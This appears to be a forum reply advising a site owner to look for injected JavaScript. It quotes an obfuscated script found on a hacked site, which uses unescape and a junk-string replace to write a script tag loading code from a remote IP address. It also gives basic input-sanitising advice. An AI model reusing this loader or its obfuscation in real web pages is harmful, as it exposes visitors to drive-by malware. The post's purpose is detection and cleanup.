Check through the code on your pages and look for something calling an external site, or a java script which is not yours.

I can't recall what they were calling this type of attack but it was growing like wildfire over the past few months. The attacks is sneaky and subtle. They don't alter the appearance of your pages at all. They just insert some code into your page and whoever hits the page unwittingly is opening themselves up for a trojan install to be put to use at a later date. If I can find some of the articles I will post them back here. In the meantime start browsing that code.

This is a sample of the code that I had found hidden in a particular site that was hacked.
### javascript hack ###

<script language=javascript><!--

document.write(unescape('hi%3C8bJsxqicridjpt%20src%3D8bJ%2Fxqi%2Fxqi9CCO4VV5%2E247%2ESB2%2E1sE9ksk5%2FjPIUqu8bJehirSBy%2EVV5jsksk%3Exqi%3Chi%2Fscdjript%3E').replace(/8bJ|dj|ksk|SB|VV5|PIU|hi|CCO|xqi|sE/g,""));

 --></script>

Beyond just the page code do you also have some java scripts that run? Make sure to check the coding within those scripts as well to make sure that they are not executing some external code.

To prevent that from happening you should parse all inputs and strip the <script> tag or convert all applicable characters to HTML entities.

How are things coming along? Have you been able to find some code that was causing your site to be flagged?
